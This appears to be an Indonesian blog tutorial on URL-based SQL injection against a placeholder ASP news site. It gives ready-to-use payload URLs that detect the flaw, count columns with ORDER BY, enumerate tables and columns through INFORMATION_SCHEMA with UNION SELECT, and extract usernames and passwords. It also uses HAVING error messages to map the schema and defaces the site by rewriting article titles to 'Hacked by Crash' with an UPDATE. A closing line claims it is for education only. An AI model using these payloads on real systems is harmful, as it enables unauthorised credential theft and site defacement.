#rahasia umum:
situs yang interaktif dengan pengunjung terdapat "database" didalamnya
ada "INFORMATION_SCHEMA" yang menangani table "INFORMATION_SCHEMA.TABLES" yang namanya "table_name"
dan yang manangani column "INFORMATION_SCHEMA.COLUMNS" yang namanya "column_name"
#cara inject ada 2 macam yaitu :
1. melalui form input
2. melalui url
yang kita bahas disini adalah cara inject melalui url saja!
#command yang sering di gunakan :
1. ORDER BY | untuk mengetahui jumlah column
2. UNION SELECT | untuk mengambil informasi dari table atau column
3. AND | untuk membandingkan 2 kondisi true atau false
4. OR | untuk menentukan 1 kondisi saja
5. -- | untuk menutup perintah
6. + | untuk spasi
7. ' | karakter evil
8. HAVING | untuk menampilkan error
9. DATABASE() | untuk mengetahui nama database
10. USER() | untuk mengetahui nama user database
11. DATADIR() | untuk mengetahui posisi letak database
12. CONCAT | untuk menggabungkan 2 column atau lebih
13. GROUP_CONCAT | untuk menampilkan group dari gabungan column
14. CONCAT_WS | sama seperti concat
15. FROM | mengambil data dari
16. UPDATE | mengubah data yang telah ada
17. @@servername |
attack 1
========
1.cari tau apakah vulnerable
- www.site.com/news.asp?ArticleID=10+AND+1=0--
error
- www.site.com/news.asp?ArticleID=10+AND+1=1--
tidak error, berarti command bekerja situs = vulnerable, mode inject = on :)
2. cari tau jumlah column yang di tampilkan dalam suatu page
- www.site.com/news.asp?ArticleID=10+ORDER+BY+1--
normal
- www.site.com/news.asp?ArticleID=10+ORDER+BY+2--
normal, ulangi sampai error
- www.site.com/news.asp?ArticleID=10+ORDER+BY+4--
normal
- www.site.com/news.asp?ArticleID=10+ORDER+BY+5--
error, berarti jumlah column 4 karena error di nomor 5
3. menampilkan nama table
- www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,2,3,4+FROM+INFORMATION_SCHEMA.TABLES--
ganti nomor id ke negatif contoh nya "1" , akan tampil nomor rahasia di dalam page, nomor itu jadi kunci kita mencari nama table dan lain2
disini saya contohkan tampil nomor 3
- www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,2,table_name,4+FROM+INFORMATION_SCHEMA.TABLES--
hasil nya akan tampil satu nama table kita contoh kan "news"
4. mencari table yang di inginkan
- www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,2,table_name,4+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_name+news--
table yang tampil tadi adalah "news" kita tambah kan table news di ujung syntax untuk mencari nama table yang kita ingin kan, misal nya table "users"
ulangi langkah ini sampai kita dapatkan table "users"
5. menampilkan nama column
-www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,2,column_name,4+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name='users'--
akan tampil satu nama column misalnya "id" sedangkan kita mencari nama column seperti username,password, ulangin seperti langkah mencari table di atas
- www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,2,column_name,4+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name='Users'+AND+column_name+'id'--
6. menampilkan data
kita sudah tau nama table dan column nya, misalnya nama table "user" dan nama column "username","password"
sekarang saat nya kita melihat data yang ada dalam table dan column tersebut
- www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,2,username,4+FROM+Users--
hasil = jhon
- www.site.com/news.asp?ArticleID=-1+UNION+SELECT+1,2,password,4+FROM+Users--
hasil = santrina
kesimpulan,
kita dapatkan satu user dengan username = jhon dan password = santrina
==========================================================================
Attack 2
========
1. cari nama table dan nama column
- www.site.com/news.asp?ArticleID=10+HAVING+1=1--
kita dapatkan sebuah pesan error
"Column 'news.id' is invalid in the select list because it is not contained in
an aggregate function and there is no GROUP BY clause."
dari situ kita tau ada table yang nama nya "news" dan ada column "id" didalamnya
2. cari column yang kita ingin kan
- www.site.com/news.asp?ArticleID=10+GROUP+BY+id+HAVING+1=1--
kita gunakan command group by untuk manampilkan nama colum berikut nya
kita liat pesan error
"Column 'news.title' is invalid in the select list because it is not contained in
an aggregate function and there is no GROUP BY clause."
3. mengganti tittle situs
- www.site.com/news.asp?ArticleID=10+UPDATE+news+set+title='Hacked by Crash'--
perintah diatas akan menyebabkan semua title article manjadi hacked by crash
- www.site.com/news.asp?ArticleID=10+UPDATE+news+set+title='Hacked by Crash'+WHERE+id=10—
perintah ini kan mengganti title article nomor 10 aja!
=====================================================================
#catatan :
1. tulisan ini hanya untuk pendidikan semata,..
2. system ini hanya bekerja di sql versi 5 ke atas,..
3. tutorial ini saya ringkas dari tutorial berbahasa english
Read More..